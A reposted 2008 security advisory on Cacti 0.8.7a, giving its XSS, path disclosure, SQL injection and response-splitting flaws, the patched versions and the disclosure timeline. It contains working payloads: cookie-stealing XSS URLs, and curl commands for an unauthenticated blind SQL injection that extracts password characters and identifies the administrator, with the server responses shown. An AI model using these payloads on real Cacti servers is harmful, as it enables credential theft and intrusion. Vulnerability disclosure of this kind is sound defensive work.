[UNIX] Cacti Multiple Vulnerabilities

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Cacti Multiple Vulnerabilities
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SUMMARY

" <http://www.cacti.net/> Cacti is a complete network graphing solution
designed to harness the power of RRDTool's data storage and graphing
functionality. Cacti provides a fast poller, advanced graph templating,
multiple data acquisition methods, and user management features out of the
box". Multiple vulnerabilities exist in Cacti software (XSS, SQL
Injection, Path Disclosure, HTTP Response Splitting).

DETAILS

Vulnerable Systems:
* Cacti version 0.8.7a

Immune Systems:
* Cacti version 0.8.7b
* Cacti version 0.8.6k

XSS Vulnerabilities
We have found many XSS vulnerabilities in the application. We list some
examples only, but many other injection points exist:
http://www.example.com/cacti/graph.php?local_graph_id=1&rra_id=34&;
action=properties&
view_type=token'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

The following example will execute the code when the user clicks on the
menu list:
http://www.example.com/cacti/graph_view.php?action=list&page=1&;
host_id=0&graph_template_id=8& filter=onmouseover=javascript:alert(/XSS/)

Also XSS vulnerabilities exist in the login page, where we authentication
isn't needed:
http://www.example.com/cacti/index.php?action=foo/%3Cscript%3Ealert('XSS')%3C/script%3E

In addition if we enter as user name: "><script>alert(/XSS/);</script>,
then we have another XSS.

Path Disclosure Vulnerabilities
The program checks the value of a non existent parameter. This produces an
error that discloses the absolute installation path:
http://www.example.com/cacti/graph.php?local_graph_id=1

Other vulnerable code exists since in Cacti PHP errors are displayed as
they are, with no custom error handler.

SQL Injection Vulnerabilities
There are some points in the program that don't check the input
parameters. This causes an SQL Injection attack possible. Follow an
example of blind SQL injection (by an authenticated user):
http://www.example.com/cacti/graph_view.php?action=preview&style=selective&; graph_list=bla'%20or%20'1'='1

The following request needs admin permission to be executed, so it has
limited impact:
http://www.example.com/cacti/tree.php?action=edit&id=1&;
subaction=foo&leaf_id=1%20or%201%20=%201

Same as above graph_xport.php is also vulnerable to an SQLi exploitable by
authenticated users:
curl "http://www.example.com/cacti/graph_xport.php?local_graph_id=1"; -d \
"local_graph_id=1'" -H "Cookie: Cacti=<cookie value>"

Also the program contains a serious logic flaw. The program presents many
input check routines, however some of these routines validate only the
$_GET variable. After this validation routine, the value of the input is
used to create an SQL query, obtaining the value from the $_REQUEST
variable. According to the PHP specifications, the $_REQUEST variable
looks for the value of the parameters in the following order: cookie, post
data, get data. If we specify the injection string in the cookie data or
in the post data, then we can bypass the validation routine.

One example of this vulnerability is shown by the following url:
curl "http://www.example.com/cacti/tree.php?action=edit&id=1"; -d \
"id=sql'" -H "Cookie: Cacti=<cookie value>"

One of these vulnerable code is in the set_tree_visibility_status()
function in file lib/html_tree.php. The initial rows of the routine are:

function set_tree_visibility_status() {
if (!isset($_REQUEST["subaction"])) {
$headers = db_fetch_assoc("SELECT graph_tree_id, order_key FROM
graph_tree_items WHERE host_id='0' AND local_graph_id='0' AND
graph_tree_id='" . $_REQUEST["id"] . "'");

The set_tree_visibility_status() is called in
grow_edit_graph_tree($tree_id, $user_id, $options) function. The
grow_edit_graph_tree($tree_id, $user_id, $options) is called in tree.php
file by the tree_edit() routine which is called from the main code. The
initial rows of the tree_edit() routine are:

function tree_edit() {
global $colors, $fields_tree_edit;

/* ================= input validation ================= */
input_validate_input_number(get_request_var("id"));
/* ==================================================== */

The input_validate_input_number routine correctly validate the parameter,
but the problem is that get_request_var routine returns the $_GET value,
as the following code show:

function get_request_var($name, $default = "")
{
if (isset($_GET[$name]))
{
return $_GET[$name];
} else
{
return $default;
}
}

So we can send our injection string in POST data (to skip the check), and
our value will be used because it has precedence over GET in the $_REQUEST
variable.

Last but not least we show the most critical vulnerability. An SQL
injection vulnerability exists in the authentication method (the attacker
doesn't need to be authenticated in order to exploit it). In file
global.php at line 109 we have an "if" statement that if true detects if
magic quote is off, if it's off then it simulates it by calling
addslashes() function. But take a look at the "if" statement:

if ((!in_array(basename($_SERVER["PHP_SELF"]), $no_http_header_files,
true)) && ($_SERVER["PHP_SELF"] != "")) {

The branch is not taken if we are calling a function that is present in
$no_http_header_files variable defined at line 53. The check is done with
basename($_SERVER["PHP_SELF"]). Well, if we set a URL like
http://www.example.com/index.php/sql.php (sql.php is an entry in the
$no_http_header_files variable) then the basename($_SERVER["PHP_SELF"])
will return sql.php and we happly bypass the magic quote check.

However a complete authentication bypass cannot be possible because the
code that starts the session is in the chunk of code that we skip, so no
$_SESSION variable will be created and we are unable to bypass the
following check at file auth.php:

if (empty($_SESSION["sess_user_id"])) {
include("./auth_login.php");
exit;

However it is possible to extract the password and user name from the DB
by an SQL injection inference attack. The following request is an example
of blind SQL injection attack by inference:

curl -v "http://www.example.com/cacti/index.php/sql.php"; -d \
"login_username=foo'+or+ascii(substring(password,1,1))>56#&action=login"

If this query succeeds then a 302 response code is sent in the response.
We can also discovery the user name at the same way. There is also a nice
trick that allows us to know if we have discovered the administrator user.
Suppose we know that exists the user name "cacti", to know if it is an
administrator we send the following request:

curl -v "http://www.example.com/cacti/index.php/sql.php"; -d \
"login_username=cacti'#&action=login"

If a 302 response code with Location "index.php" is returned then it is
the administrator, in the other case with a Location of "graph_view.php"
we have discovered a normal user.

Again: this vulnerability is exploitable ONLY with magic quotes OFF and
any value of register globals.

$ curl -v "http://www.example.com/cacti/index.php/sql.php"; -d \
"login_username=foo'+or+ascii(substring(password,1,1))<56#&action=login"
* About to connect() to www.example.com port 80 (#0)
* Trying 127.0.0.1... connected
* Connected to www.example.com (127.0.0.1) port 80 (#0)
POST /cacti-0.8.7a/index.php/sql.php HTTP/1.1
User-Agent: curl/1.1.1 (i986-gnu-ms-bsd) cacalib/3.6.9 OpenTelnet/0.1
Host: www.example.com
Accept: */*
Content-Length: 71
Content-Type: application/x-www-form-urlencoded

< HTTP/1.1 200 OK
< Date: Mon, 17 Dec 2007 19:29:34 GMT
< Server: Apache
< X-Powered-By: PHP/1.2.3-linuxz
< Content-Length: 355
< Content-Type: text/html
< AAAAAAAAA: SELECT * FROM user_auth WHERE username = 'foo' or
ascii(substring(password,1,1))<56#' AND password = md5('') AND realm=0 <br
/>
<b>Warning</b>: Cannot modify header information - headers already sent
by (output started at /home/x/cacti-0.8.7a/auth_login.php:126) in
<b>/home/x/cacti-0.8.7a/auth_login.php</b> on line <b>200</b><br />
* Connection #0 to host www.example.com left intact
* Closing connection #0

This vulnerability can be obviously exploited as follows
$ curl -kis "http://www.example.com/cacti-0.8.7a/index.php/sql.php"; -d \
"login_username=foo'+or+ascii(substring(password,1,1))>56#&action=login" \
| head -n1
HTTP/1.1 200 OK

$ curl -kis "http://www.example.com/cacti-0.8.7a/index.php/sql.php"; -d \
"login_username=foo'+or+ascii(substring(password,1,1))<56#&action=login" \
| head -n1
HTTP/1.1 302 Found

HTTP response splitting on very old PHP instances
In some old PHP instances it is possible to execute an HTTP response
splitting attack. However this attack is mitigated by the PHP framework
that doesn't permits CR or LF injection anymore in the header function.

Workaround:
Proper input validation will fix the vulnerabilities.

Magic quotes ON will protect you against the most serious unauthenticated
SQLi vulnerabilities and possibly other.

Vendor response:
Vendor issued new version 0.8.7b and 0.8.6k to address the vulnerabilities
available for download at following urls:

<http://www.cacti.net/downloads/cacti-0.8.7b.tar.gz>
http://www.cacti.net/downloads/cacti-0.8.7b.tar.gz
<http://www.cacti.net/downloads/cacti-0.8.6k.tar.gz>
http://www.cacti.net/downloads/cacti-0.8.6k.tar.gz

Patches are also available:
<http://www.cacti.net/download_patches.php?version=0.8.7a>
http://www.cacti.net/download_patches.php?version=0.8.7a
<http://www.cacti.net/download_patches.php?version=0.8.6j>
http://www.cacti.net/download_patches.php?version=0.8.6j

Disclosure Timeline:
20071113 - Bug discovered
20071218 - Vendor contacted
20080212 - Advisory released


ADDITIONAL INFORMATION

The information has been provided by <mailto:ascii@xxxxxx> Francesco
"ascii" Ongaro and <s4tan@xxxxxx> Antonio "s4tan" Parata.
The original article can be found at:
<http://www.ush.it/team/ush/hack-cacti087a/cacti.txt>
http://www.ush.it/team/ush/hack-cacti087a/cacti.txt



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